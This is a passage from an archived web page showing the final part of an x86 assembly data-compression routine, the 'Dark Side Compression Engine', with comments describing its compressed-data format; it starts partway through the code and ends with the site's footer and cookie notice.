inc ah ; restore the position

loop hereweloop ; and then concatenate ecx eax

pop edx
pop ecx ; then compress all the datas

inc esi

loop compressloop

pop edx

sub edx,edi ; now get size of the compressed
neg edx ; segment

;
; The memory is done such like:
;
; Off Size Description
; 0 - byte 068h - (0x68) - Recognizing mark
; 1 - word Original size: Dword
; 5 - byte Number of tree entry
; 7 - entries
; entry (4bytes) : - 1 byte: ascii number
; - 2 byte: number of bits
; - 3 word: recognition
; ? - word 0FFFFh - (0xFFFF) - reserved / bug fix :P
; ? - ? compressed datas / file size
;

mov dword ptr [esp+20h-4],edx
popad ; return back
ret

db '[DSCEi386]' ; Dark Side Compression Engine

---



← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT